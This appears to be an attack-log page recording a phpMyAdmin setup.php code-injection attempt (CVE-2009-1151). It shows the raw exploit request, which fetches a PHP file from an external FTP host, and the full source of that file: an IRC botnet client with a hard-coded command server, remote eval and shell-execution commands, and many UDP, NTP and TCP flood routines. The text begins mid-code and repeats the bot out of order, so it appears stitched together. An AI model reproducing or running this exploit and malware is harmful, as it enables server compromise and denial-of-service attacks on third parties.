$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>14) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$host10 = $mcmd[10];
$host11 = $mcmd[11];
$port = $mcmd[12];
$time = $mcmd[13];
$packetsize = $mcmd[14];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
$fp10 = fsockopen("udp://".$host10,$port,$e,$s,5);
$fp11 = fsockopen("udp://".$host11,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp10,$packet);
fflush($fp10);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp11,$packet);
fflush($fp11);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
fclose($fp10);
fclose($fp11);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <ip10> <ip11> <port> <time> <size>");}
break;
case "udpfloodtwelve":
if ($mcmd[14] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[15] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>15) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$host5 = $mcmd[5];
$host6 = $mcmd[6];
$host7 = $mcmd[7];
$host8 = $mcmd[8];
$host9 = $mcmd[9];
$host10 = $mcmd[10];
$host11 = $mcmd[11];
$host12 = $mcmd[12];
$port = $mcmd[13];
$time = $mcmd[14];
$packetsize = $mcmd[15];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."10 ".$host12."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
$fp4 = fsockopen("udp://".$host4,$port,$e,$s,5);
$fp5 = fsockopen("udp://".$host5,$port,$e,$s,5);
$fp6 = fsockopen("udp://".$host6,$port,$e,$s,5);
$fp7 = fsockopen("udp://".$host7,$port,$e,$s,5);
$fp8 = fsockopen("udp://".$host8,$port,$e,$s,5);
$fp9 = fsockopen("udp://".$host9,$port,$e,$s,5);
$fp10 = fsockopen("udp://".$host10,$port,$e,$s,5);
$fp11 = fsockopen("udp://".$host11,$port,$e,$s,5);
$fp12 = fsockopen("udp://".$host12,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp4,$packet);
fflush($fp4);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp5,$packet);
fflush($fp5);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp6,$packet);
fflush($fp6);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp7,$packet);
fflush($fp7);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp8,$packet);
fflush($fp8);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp9,$packet);
fflush($fp9);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp10,$packet);
fflush($fp10);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp11,$packet);
fflush($fp11);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp12,$packet);
fflush($fp12);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
fclose($fp4);
fclose($fp5);
fclose($fp6);
fclose($fp7);
fclose($fp8);
fclose($fp9);
fclose($fp10);
fclose($fp11);
fclose($fp12);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->notice($nick, "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."3 ".$host5."0 ".$host6."15 ".$host7."6 ".$host8."11 ".$host9."2 ".$host10."5 ".$host11."10 ".$host12."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <ip4> <ip5> <ip6> <ip7> <ip8> <ip9> <ip10> <ip11> <ip12> <port> <time> <size>");}
break;
case "tcpconn":
if(count($mcmd)>3) { $this->tcp($mcmd[1],$mcmd[2],$mcmd[3]);
}
break;
case "botrestart":
if (!in_array($nick, $this->adminconfig)) {
$this->notice($nick, "0[\20This Command is Restricted to Admins!0\2]");
break;
}
if(count($mcmd)>0){
$this->send("QUIT :Restarting!");
fclose($this->conn);
$this->start();
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]."");
}
break;
case "botdie":
if (!in_array($nick, $this->adminconfig)) {
$this->notice($nick, "0[\20This Command is Restricted to Admins!0\2]");
break;
}
if(count($mcmd)>0){
$this->send("QUIT :Stopping!");
fclose($this->conn);
exit();
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]."");
}
break;
}
}
break;
}
}
}
}
}
function send($msg) {
fwrite($this->conn,$msg."\r\n");
}
function join($chan,$key=NULL) {
$this->send("JOIN ".$chan." ".$key);
}
function auth($chan) {
$this->send("PART ".$chan);
}
function privmsg($to,$msg) {
$this->send("PRIVMSG ".$to." :".$msg);
}
function notice($to,$msg) {
$this->send("NOTICE ".$to." :".$msg);
}
function set_nick() {
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') { $OS = "Windows";} else {$OS = "Linux";}
if(isset($_SERVER['SERVER_SOFTWARE']))
{
if(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"apache"))
$this->nick = "[A]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"iis"))
$this->nick = "[I]";
elseif(strstr(strtolower($_SERVER['SERVER_SOFTWARE']),"xitami"))
$this->nick = "[X]";
else
$this->nick = "[U]";
}
else
{
$this->nick = "[C]";
}
$prefix = "[".$OS."]".$this->nick."[".$this->config['prefix']."]|%s";
$nickk = substr(str_shuffle("1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, $this->config['maxrand']);
$this->nick = sprintf($prefix, $nickk);
$this->send("NICK ".$this->nick);
}
function tcp($host,$port,$time) {
$this->privmsg($this->config['chan'], "[\2tcp started!\2]");
$end = time() + $time;
$i = 0;
while($end > time())
{
$fp = fsockopen("tcp://".$host, $port, $e, $s, 5);
fclose($fp);
$i++;
}
$this->privmsg($this->config['chan'], "[\2tcp Finished!\2]: sent ".$i." connections to $host:$port.");
}
}
$poll = new sell;
$poll->start();
?>
phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit
[Attack info]
Attacker:
80.82.70.178
Dest. port: 80
Time: 10/09/2020 22:28:13
Resource(s): [details]
Request: permalink
[Extra info]
ASN/ISP: AS202425 IP Volume inc
Location: Anse-aux-Pins, Anse aux Pins
rDNS: no-reverse-dns-configured.com
Description
phpMyAdmin is prone to a remote PHP code-injection vulnerability on the page "setup.php". An attacker can exploit this issue to inject and execute arbitrary malicious PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible. Versions prior to phpMyAdmin 2.11.9.5 and 3.1.3.1 are vulnerable.CVE
CVE-2009-1151Author
Adrian "pagvac" PastorPlugin ID
oosheefee1baixeinief5nociu5shohhPOST /phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php HTTP/1.1
Content-Length: 245
cookie2: $Version="1"
Host: 176.94.18.109
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.01 [en]
connection: TE
referer: http://176.94.18.109/phpMyAdmin-3.0.0.0-all-languages/scripts/setup.php
cookie: phpMyAdmin=beda7396e33941a68dea6a935c39b6f8
te: deflate,gzip;q=0.3
Content-Type: application/x-www-form-urlencoded
action=lay_navigation&eoltype=unix&token=00f3af40a54f15c236e1c8128c0517d6&configuration=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA%5FConfig%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A36%3A%22ftp%3A%2F%2F109%2E201%2E143%2E177%2Fpub%2FGodly2%2Ephp%22%3B%7D%7D
Resource ( 1 / 1 )
MD5: aaa2ad3c0e389983ae35d9b2b855671e
Type: text/x-php
Size: 54647
URL: ftp://109.201.143.177/pub/Godly2.php
<?php
// Php My Admin PMA Bot
set_time_limit(0);
error_reporting(0);
$dir = getcwd();
$uname= @php_uname();
function whereistmP()
{
$uploadtmp=ini_get('upload_tmp_dir');
$uf=getenv('USERPROFILE');
$af=getenv('ALLUSERSPROFILE');
$se=ini_get('session.save_path');
$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
if(is_dir('/tmp') && is_writable('/tmp'))return '/tmp';
if(is_dir('/usr/tmp') && is_writable('/usr/tmp'))return '/usr/tmp';
if(is_dir('/var/tmp') && is_writable('/var/tmp'))return '/var/tmp';
if(is_dir($uf) && is_writable($uf))return $uf;
if(is_dir($af) && is_writable($af))return $af;
if(is_dir($se) && is_writable($se))return $se;
if(is_dir($uploadtmp) && is_writable($uploadtmp))return $uploadtmp;
if(is_dir($envtmp) && is_writable($envtmp))return $envtmp;
return '.';
}
function srvshelL($command)
{
$name=whereistmP()."\\".uniqid('NJ');
$n=uniqid('NJ');
$cmd=(empty($_SERVER['ComSpec']))?'d:\\windows\\system32\\cmd.exe':$_SERVER['ComSpec'];
win32_create_service(array('service'=>$n,'display'=>$n,'path'=>$cmd,'params'=>"/c $command >\"$name\""));
win32_start_service($n);
win32_stop_service($n);
win32_delete_service($n);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function ffishelL($command)
{
$name=whereistmP()."\\".uniqid('NJ');
$api=new ffi("[lib='kernel32.dll'] int WinExec(char *APP,int SW);");
$res=$api->WinExec("cmd.exe /c $command >\"$name\"",0);
while(!file_exists($name))sleep(1);
$exec=file_get_contents($name);
unlink($name);
return $exec;
}
function comshelL($command,$ws)
{
$exec=$ws->exec("cmd.exe /c $command");
$so=$exec->StdOut();
return $so->ReadAll();
}
function perlshelL($command)
{
$perl=new perl();
ob_start();
$perl->eval("system(\"$command\")");
$exec=ob_get_contents();
ob_end_clean();
return $exec;
}
function Exe($command)
{
$exec=$output='';
$dep[]=array('pipe','r');$dep[]=array('pipe','w');
if(function_exists('passthru')){ob_start();@passthru_($command);$exec=ob_get_contents();ob_clean();ob_end_clean();}
elseif(function_exists('system')){$tmp=ob_get_contents();ob_clean();@system($command);$output=ob_get_contents();ob_clean();$exec=$tmp;}
elseif(function_exists('exec')){@exec($command,$output);$output=join("\n",$output);$exec=$output;}
elseif(function_exists('shell_exec'))[email protected]_exec($command);
elseif(function_exists('popen')){[email protected]($command,'r');while(!feof($output)){$exec=fgets($output);}pclose($output);}
elseif(function_exists('proc_open')){[email protected]_open($command,$dep,$pipes);while(!feof($pipes[1])){$line=fgets($pipes[1]);$output.=$line;}$exec=$output;proc_close($res);}
elseif(function_exists('win_shell_execute') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=winshelL($command);
elseif(function_exists('win32_create_service') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=srvshelL($command);
elseif(extension_loaded('ffi') && strtoupper(substr(PHP_OS, 0, 3)) === 'WIN')$exec=ffishelL($command);
elseif(extension_loaded('perl'))$exec=perlshelL($command);
return $exec;
}
class sell
{
var $config = array(
"server"=>"51.222.31.151", // Server IP
"port"=>"5467", // Server Connection Port
"password"=>"", // Server Connection password
"prefix"=>"ShadowNet", // Bot Name
"maxrand"=>"8", // Random Character Length
"chan"=>"#bots", // Main Channel
"key"=>"", // Main Channel Key
"Windows"=>"#Windows", // Windows Device Channel
"Linux"=>"#Linux", // Linux Device Channel
"trigger"=>"-", // Command Prefix
"maxtime"=>"120", // Max Time
"maxsize"=>"1024" // Max Size
);
var $users = array();
var $adminconfig = array("Erratic",);
function start()
{
while(true)
{
if(!($this->conn = fsockopen($this->config['server'],$this->config['port'],$e,$s,30))) $this->start();
$pass = $this->config['password'];
$alph = range("0","9");
$this->send("PASS ".$pass."");
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $ident = "Windows";
else $ident = "Linux";
$this->send("USER ".$ident." 127.0.0.1 localhost :".php_uname()."");
$this->set_nick();
$this->main();
}
}
function main()
{
while(!feof($this->conn))
{
if(function_exists('stream_select'))
{
$read = array($this->conn);
$write = NULL;
$except = NULL;
$changed = stream_select($read, $write, $except, 30);
if($changed == 0)
{
fwrite($this->conn, "PING :lelcomeatme\r\n");
$read = array($this->conn);
$write = NULL;
$except = NULL;
$changed = stream_select($read, $write, $except, 30);
if($changed == 0) break;
}
}
$this->buf = trim(fgets($this->conn,512));
$cmd = explode(" ",$this->buf);
if(substr($this->buf,0,6)=="PING :") { $this->send("PONG :".substr($this->buf,6)); continue; }
if(strpos($this->buf, '(Too many connections from your IP)')!==false) { fclose($this->conn); exit();}
if(isset($cmd[1]) && $cmd[1] =="001") {
$this->auth($this->config['auth']);
$this->join($this->config['chan'],$this->config['key']);
if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') $this->join("".$this->config['Windows']."");
else $this->join("".$this->config['Linux']."");
continue;
}
if(isset($cmd[1]) && $cmd[1]=="433") { $this->set_nick(); continue; }
if($this->buf != $old_buf)
{
$mcmd = array();
$msg = substr(strstr($this->buf," :"),2);
$msgcmd = explode(" ",$msg);
$nick = explode("!",$cmd[0]);
$vhost = explode("@",$nick[1]);
$vhost = $vhost[1];
$nick = substr($nick[0],1);
$host = $cmd[0];
if($msgcmd[0]==$this->nick) for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i+1];
else for($i=0;$i<count($msgcmd);$i++) $mcmd[$i] = $msgcmd[$i];
if(count($cmd)>2)
{
switch($cmd[1])
{
case "PRIVMSG":
if(substr($mcmd[0],0,1)=="".$this->config['trigger']."")
{
switch(substr($mcmd[0],1))
{
case "mail":
if (!in_array($nick, $this->adminconfig)) {
$this->notice($nick, "0[\20This Command is Restricted to Admins!0\2]");
break;
}
if(count($mcmd)>4)
{
$header = "From: <".$mcmd[2].">";
if(!mail($mcmd[1],$mcmd[3],strstr($msg,$mcmd[4]),$header))
{
$this->privmsg($this->config['chan'],"[\2Mail\2]: Failed Sending.");
}
else
{
$this->privmsg($this->config['chan'],"[\2Mail\2]: Sent.");
}
}
break;
case "dns":
if(isset($mcmd[1]))
{
$ip = explode(".",$mcmd[1]);
if(count($ip)==4 && is_numeric($ip[0]) && is_numeric($ip[1]) && is_numeric($ip[2]) && is_numeric($ip[3]))
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyaddr($mcmd[1]));
}
else
{
$this->privmsg($this->config['chan'],"[\2dns\2]: ".$mcmd[1]." => ".gethostbyname($mcmd[1]));
}
}
break;
case "maxtime":
$this->notice($nick, "0[\20The Max Time is9 ".$this->config['maxtime']."sec0!\2]");
break;
case "uname":
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "on"; }
else { $safemode = "off"; }
$uname = php_uname();
$this->notice($this->config['chan'],"9[\2Info\2]:0 ".$uname." (safe: ".$safemode.")");
break;
case "raw":
$this->send(strstr($msg,$mcmd[1]));
break;
case "eval":
if (!in_array($nick, $this->adminconfig)) {
break;
}
ob_start();
eval(strstr($msg,$mcmd[1]));
$exec=ob_get_contents();
ob_end_clean();
$ret = explode("\n",$exec);
for($i=0;$i<count($ret);$i++) if($ret[$i]!=NULL) $this->privmsg($this->config['chan']," : ".trim($ret[$i]));
break;
case "exec":
if (!in_array($nick, $this->adminconfig)) {
break;
}
$command = substr(strstr($msg, $mcmd[0]), strlen($mcmd[0]) + 1);
$exec = exec($command);
$ret = explode("\n", $exec);
for ($i = 0; $i < count($ret); $i++)
if ($ret[$i] != NULL)
$this->privmsg($this->config['chan'], " : " . trim($ret[$i]));
break;
case "Time":
if (!in_array($nick, $this->adminconfig)) {
break;
}
if(count($mcmd)>1){
if ($mcmd[1] == $this->config['maxtime']) {
$this->notice($nick, "0[\20Time is already set to ".$mcmd[1]."!0\2]");
break;
}
$this->config['maxtime'] = $mcmd[1];
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]." <Time>");
}
break;
case "Nick":
if (!in_array($nick, $this->adminconfig)) {
break;
}
if(count($mcmd)>1){
if ($mcmd[1] == $this->config['prefix']) {
$this->notice($nick, "0[\20Nickname is already set to ".$mcmd[1]."!0\2]");
break;
}
$this->config['prefix'] = $mcmd[1];
$this->set_nick();
$this->main();
} else {
$this->privmsg($this->config['chan'], "USAGE: ".$mcmd[0]." <Nick>");
}
break;
case "ntp":
if ($mcmd[3] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[4] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$packetsize = $mcmd[4];
if(count($mcmd)>4) {
$this->privmsg($this->config['chan'], "[\2NTP Started on Host: ".$host." on Port: ".$port." For ".$time."sec!\2]");
for($i=0;$i<$packetsize;$i++) { $packet .= chr("\x17\x00\x03\x2a\x00\x00\x00\x00"); }
$end = time() + $time;
$fp = fsockopen("udp://".$host,$port,$e,$s,8);
while(true)
{
fwrite($fp,$packet);
fflush($fp);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp);
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'],"[NTP]: requests sent: ".$vel." to ".$host.":".$port.": Fails: ".$f);
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "std":
if(count($mcmd)>4) {
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$size = $mcmd[4];
if($time > $this->config['maxtime'])
{
$this->privmsg($this->config['chan'], "Max boot Time is ".$this->config["maxtime"]);
break;
}
elseif ($size > $this->config['maxsize']) {
$this->privmsg($this->config['chan'], "Max boot Size is ".$this->config["maxsize"]);
break;
}
$i = 0;
$end_time = time() + $time;
$socket = fsockopen("udp://" . $host, $port, $errno, $errstr, 5);
$this->privmsg($this->config['chan'], "STD Flooding ".$host." on ".$port." [".$time." Seconds / ".$size." FD(s)]");
while (true)
{
$packet = "";
$data = substr(str_shuffle("1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ"), 0, 25);
for ($ii = 0; $ii < $size; $ii++)
{
$packet .= $data;
fwrite($socket, $packet);
fflush($socket);
}
if ($i % 100 == 0)
{
if (time() >= $end_time)
{
$this->privmsg($this->config['chan'], "STD Flood On ".$host.":".$port." Finished!");
break;
}
}
$i++;
}
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "gameudp":
if(count($mcmd)>4) {
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$size = $mcmd[4];
if($time > $this->config['maxtime'])
{
$this->privmsg($this->config['chan'], "Max boot Time is ".$this->config["maxtime"]);
break;
}
elseif ($size > $this->config['maxsize']) {
$this->privmsg($this->config['chan'], "Max boot Size is ".$this->config["maxsize"]);
break;
}
$i = 0;
$fds = array();
$end_time = time() + $time;
$this->privmsg($this->config['chan'], "UDP Flooding ".$host." on ".$port." [".$time." Seconds / ".$size." FD(s)]");
while (true)
{
$ii = 0;
$packet = "";
for ($ii = 0; $ii < $size; $ii++)
{
$packet .= chr(rand(1, 256));
$fds[$ii] = @fsockopen("udp://" . $host, $port, $errno, $errstr, 2);
fwrite($fds[$ii], $packet);
fflush($fds[$ii]);
fclose($fds[$ii]);
}
if ($i % 100 == 0)
{
if (time() >= $end_time)
{
$this->privmsg($this->config['chan'], "UDP Flood On ".$host.":".$port." Finished!");
break;
}
}
$i++;
}
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "udpflood":
if ($mcmd[3] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[4] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
$host = $mcmd[1];
$port = $mcmd[2];
$time = $mcmd[3];
$packetsize = $mcmd[4];
if(count($mcmd)>4) {
$this->privmsg($this->config['chan'], "9[\2UdpFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on Host:4 ".$host."14 using port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp = fsockopen("udp://".$host,$port,$e,$s,5);
while(true)
{
fwrite($fp,$packet);
fflush($fp);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2UdpFlood\2]0[\211A3t4t5a6c7k on Host:4 ".$host."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip> <port> <time> <size>");}
break;
case "udpfloodtwo":
if ($mcmd[4] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[5] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>5) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$port = $mcmd[3];
$time = $mcmd[4];
$packetsize = $mcmd[5];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <port> <time> <size>");}
break;
case "udpfloodthree":
if ($mcmd[5] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[6] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>6) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$port = $mcmd[4];
$time = $mcmd[5];
$packetsize = $mcmd[6];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
$fp3 = fsockopen("udp://".$host3,$port,$e,$s,5);
while(true)
{
fwrite($fp1,$packet);
fflush($fp1);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp2,$packet);
fflush($fp2);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
fwrite($fp3,$packet);
fflush($fp3);
if($i % 100 == 0)
{
if($end < time()) break;
}
$i++;
}
fclose($fp1);
fclose($fp2);
fclose($fp3);
}
$env = $i * $packetsize;
$env = $env / 1048576;
$vel = $env / $time;
$vel = round($vel);
$env = round($env);
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."14 Using Port4 ".$port."14 Has Ended!\2]10: ".$env." MB sent / Average: ".$vel." Packets/s ");
} else {$this->notice($nick, "USAGE: ".$mcmd[0]." <ip1> <ip2> <ip3> <port> <time> <size>");}
break;
case "udpfloodfour":
if ($mcmd[6] > $this->config['maxtime']) {
$this->notice($nick, "0[\20Max Time is ".$this->config['maxtime']."!0\2]");
break;
}
elseif ($mcmd[7] > $this->config['maxsize']) {
$this->notice($nick, "0[\20Max Size is ".$this->config['maxsize']."!0\2]");
break;
}
if(count($mcmd)>7) {
$host1 = $mcmd[1];
$host2 = $mcmd[2];
$host3 = $mcmd[3];
$host4 = $mcmd[4];
$port = $mcmd[5];
$time = $mcmd[6];
$packetsize = $mcmd[7];
$this->privmsg($this->config['chan'], "9[\2MultiFlood\2]0[\211A3t4t5a6c7k 8S9t10a11r12t13e14d on9 Hosts:11 ".$host1."13 ".$host2."7 ".$host3."4 ".$host4."14 Using Port4 ".$port."14 For3 ".$time."sec!\20]");
$packet = "";
for($i=0;$i<$packetsize;$i++) { $packet .= chr(rand(1,256)); }
$end = time() + $time;
{
$fp1 = fsockopen("udp://".$host1,$port,$e,$s,5);
$fp2 = fsockopen("udp://".$host2,$port,$e,$s,5);
